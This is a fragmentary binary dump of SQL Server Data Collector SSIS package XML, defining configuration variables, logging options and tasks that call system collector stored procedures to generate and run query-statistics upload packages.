4,L*HilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{AEC0A8A9-5B1C-457A-AC2A-02CBC707C18F}" SQLTask:SqlStatementSource="EXEC dbo.sp_syscollector_create_tsql_query_collector ?, ?, ?, ?"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::ItemID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::CollectionPackageUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::UploadPackageUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{0C47F9C8-49AD-4680-B81F-62070E80A0B8}" DTS:From="Package\SQL - Record Generated Packages" DTS:ObjectName="Constraint 3" DTS:To="Package\EPT - Run Generated Package"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 5]" DTS:CreationName="" DTS:DTSID="{B9EFE0DB-E8F5-4401-9A7B-DCC6AED9C9E6}" DTS:EvalOp="3" DTS:Expression="@[User::CollectionPackageName] == &quot;&quot;" DTS:From="Package\SQL - Get Package Name" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 5" DTS:To="Package\GenerateTSQLPackageTask"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 6]" DTS:CreationName="" DTS:DTSID="{70FCA6D0-A25B-4993-B6AF-56420E2C16EF}" DTS:EvalOp="3" DTS:Expression="@[User::CollectionPackageName] != &quot;&quot;" DTS:From="Package\SQL - Get Package Name" DTS:ObjectName="Constraint 6" DTS:To="Package\EPT - Run Generated Package"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 7]" DTS:CreationName="" DTS:DTSID="{166001E1-DD7E-45D8-AEB4-11A07708C0FB}" DTS:From="Package\GenerateTSQLPackageTask" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 7" DTS:To="Package\SQL - Record Generated Packages"/></DTS:PrecedenceConstraints><DTS:PackageVariables/></DTS:Executable>	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`5"Hv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="12:00:00 AM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="" DTS:CreatorName="" DTS:DTSID="{6EB73801-39CF-489C-B682-497350C939F0}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:FailParentOnFailure="True" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:MaxConcurrentExecutables="1" DTS:MaxErrorCount="0" DTS:ObjectName="TSQLQueryUpload" DTS:PackageType="5" DTS:ProtectionLevel="0" DTS:VersionBuild="128" DTS:VersionGUID="{D27A6467-919F-4F87-A693-1258818B2DCA}"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:DelayValidation="True" DTS:DTSID="{C7EEA6F4-B761-4008-9B4F-2DA7763168D8}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{4112A564-3604-474E-B8E4-5A13FF39D30B}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{BF435F37-9AD1-419F-A33B-CAAC72F0C78A}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{0BFFB720-75C5-41C5-87B3-96165345A3AA}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{B32E2DD1-935B-4AE6-9C62-9BBF4FEC4A7B}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E68DD7BB-25CF-4A03-9588-EF4BE06A969F}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="TargetConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::TargetConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8F1485DC-35FA-4720-B7D3-C94275F8C42E}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{15E2C641-7995-4455-8077-923FD5D37B6D}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E0907F39-5350-45B0-BC5F-75F093F1185E}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{96B2A028-1B92-4E21-B7D0-D7A996A58522}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{A35F1668-B07E-49CE-B79D-50A2DB058CAD}" DTS:ObjectName="CollectionSetUID"/><DTS:Configuration DTS:ConfigurationString="ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8E511C8A-BCDF-4E6F-B5EF-A3C79875A666}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="InstanceID" DTS:Configuratio	!!!!!!!!!!!!!!!!!!!!!!!!`5HvnVariable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{35EC26ED-2006-4290-A62B-B6D866F64CFC}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{79C79371-3CA8-4684-AC0C-9D91616FD6B9}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5150A291-A779-4FFC-A3F8-E19D675A3622}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{64D80C1F-34A8-4318-B1E9-CDE5C3F4D1FC}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{D74447E4-D4FE-4970-9851-2951DB71E5FC}" DTS:ObjectName="ParentLogID"/><DTS:Configuration DTS:ConfigurationString="User::DaysUntilExpiration" DTS:ConfigurationVariable="\Package.Variables[User::DaysUntilExpiration].Properties[Value]" DTS:CreationName="" DTS:DTSID="{01C1651F-5E6F-4720-8A51-7054CFA69FF3}" DTS:ObjectName="DaysUntilExpiration"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{7F1247F4-05F4-489D-B0F0-76D211AA36AC}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{1A9B063D-5A6E-499F-9F3E-93BA3B84D75A}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{51F9D3A1-0C3D-44A8-BD28-C83B6A1049ED}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionPackageName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{21BA8301-1C15-4805-A462-FC05D4CA909C}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionPackageUID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{50D90BEB-973C-407B-BF49-02935EBB8A65}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2212AAB7-974A-4B26-9F85-ADF3341CAA62}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">{302E93D1-3424-4be7-AA8E-84813ECF2419}</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{57AF42D4-C495-41A7-96CF-CC2A2EB9C47A}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{DC7D9919-8B5D-4576-93C4-D0FF23D7ED60}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="DaysUntilExpiration"><DTS:VariableValue DTS:DataType="2">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{3099E8F2-9714-4830-B5F9-7BD92C1A28FD}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{DBB42805-E17A-43FE-BE1D-BF830E67F4A2}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{79C3F5A4-D859-4D73-ADAC-9FA19731C57B}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{807	!!!!!!!!!!!!!!!!!!!!!!!!`5:HvF9E3F-B9B0-4953-84BA-756CC8082CF0}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{3FEA837B-2BE7-4ED0-B0DD-06951EBDDFE5}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{D2D0534F-799E-4590-96D1-44F71F9C2FE7}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoggingLevel"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0429AEFF-08F9-425B-9030-1795F1C0C449}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{D7A0744B-6467-4006-A87A-BEA651D1B249}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F6AAC874-DD9D-48A6-B579-00841F4DC0F6}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{68EC0A4F-DBFA-41D5-86FE-F1AF716D6120}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{66FC168A-8214-4D7C-BE2A-700733201440}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{55C835DB-9742-42CC-81FB-3A7AEA9FE0CC}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SourceID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{C5ABC319-2F99-4867-A437-D56CA48F9262}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F3C6173E-A88C-43E5-A150-3F2AAFBD2F92}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="UploadPackageName"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{606D52C1-9321-4F40-9AA7-A383F1CAD3FE}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="UploadPackageUID"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">5,7,OnError,13,OnPostExecute,12,OnPreExecute,10,OnProgress,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnPostExecute" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnPreExecute" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Pro	!!!!!!!!!!!!!!!!!!!!!!!!`5%Hvperty><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnProgress" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\EPT - Run Generated Package" DTS:CreationName="SSIS.ExecutePackageTask.3" DTS:DelayValidation="True" DTS:Description="Execute Package Task" DTS:DTSID="{7FE5DBD5-221F-4352-903B-0632950C92A5}" DTS:ExecutableType="SSIS.ExecutePackageTask.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="EPT - Run Generated Package" DTS:TaskContact="Executes DTS packages;Microsoft Corporation; Microsoft SQL Server v9; (C) 2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:PropertyExpression DTS:Name="PackageName">"\\Data Collector\\Generated\\" + @[User::UploadPackageName]</DTS:PropertyExpression><DTS:ObjectData><ExecutePackageTask><PackageName>\Data Collector\Generated\</PackageName><Connection>{C7EEA6F4-B761-4008-9B4F-2DA7763168D8}</Connection></ExecutePackageTask></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Get Package Name" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{E942BA9D-3F04-4C47-A92C-CF5765FDFE9E}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get Package Name" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{C7EEA6F4-B761-4008-9B4F-2DA7763168D8}" SQLTask:SqlStatementSource="EXEC dbo.sp_syscollector_get_tsql_query_collector_package_ids ?, ?, ? OUTPUT, ? OUTPUT, ? OUTPUT, ? OUTPUT"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::ItemID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::CollectionPackageUID" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::UploadPackageUID" SQLTask:Paramete	!!!!!!!!!!!!!!!!!!!!!!!!`@?YsHrDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::CollectionPackageName" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="5" SQLTask:DtsVariableName="User::UploadPackageName" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{9D85249D-E996-4918-90A5-F93B001313C6}" DTS:EvalOp="3" DTS:Expression="@[User::UploadPackageName] != &quot;&quot;" DTS:From="Package\SQL - Get Package Name" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\EPT - Run Generated Package"/></DTS:PrecedenceConstraints><DTS:PackageVariables/></DTS:Executable>	H	Hr counters @ collection item frequency\SQL - Log Package Iteration" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency.PrecedenceConstraints[Constraint 4]" DTS:CreationName="" DTS:DTSID="{0610DCB9-BB0C-4B26-BE90-D0DEFF3CC36A}" DTS:From="Package\LOOP - Aquire performance counters @ collection item frequency\Get SQL Process ID" DTS:ObjectName="Constraint 4" DTS:To="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container" DTS:Value="2"/></DTS:PrecedenceConstraints><DTS:ForEachVariableMappings><DTS:ForEachVariableMapping DTS:CreationName="" DTS:DTSID="{A54A1B17-9B8C-435D-8F32-D034B664E27C}" DTS:ObjectName="{A54A1B17-9B8C-435D-8F32-D034B664E27C}" DTS:ValueIndex="0" DTS:VariableName="User::LoopDuration"/></DTS:ForEachVariableMappings></DTS:Executable></DTS:Executables><DTS:PackageVariables/></DTS:Executable>	H	HBTS:LogicalAnd="True" DTS:ObjectName="Constraint 6" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 7]" DTS:CreationName="" DTS:DTSID="{AD90E175-8AE5-4D3B-ACA5-78B6A0DC912F}" DTS:From="Package\CWM - Remove Upload Snapshots Older Than CacheWindow" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 7" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and 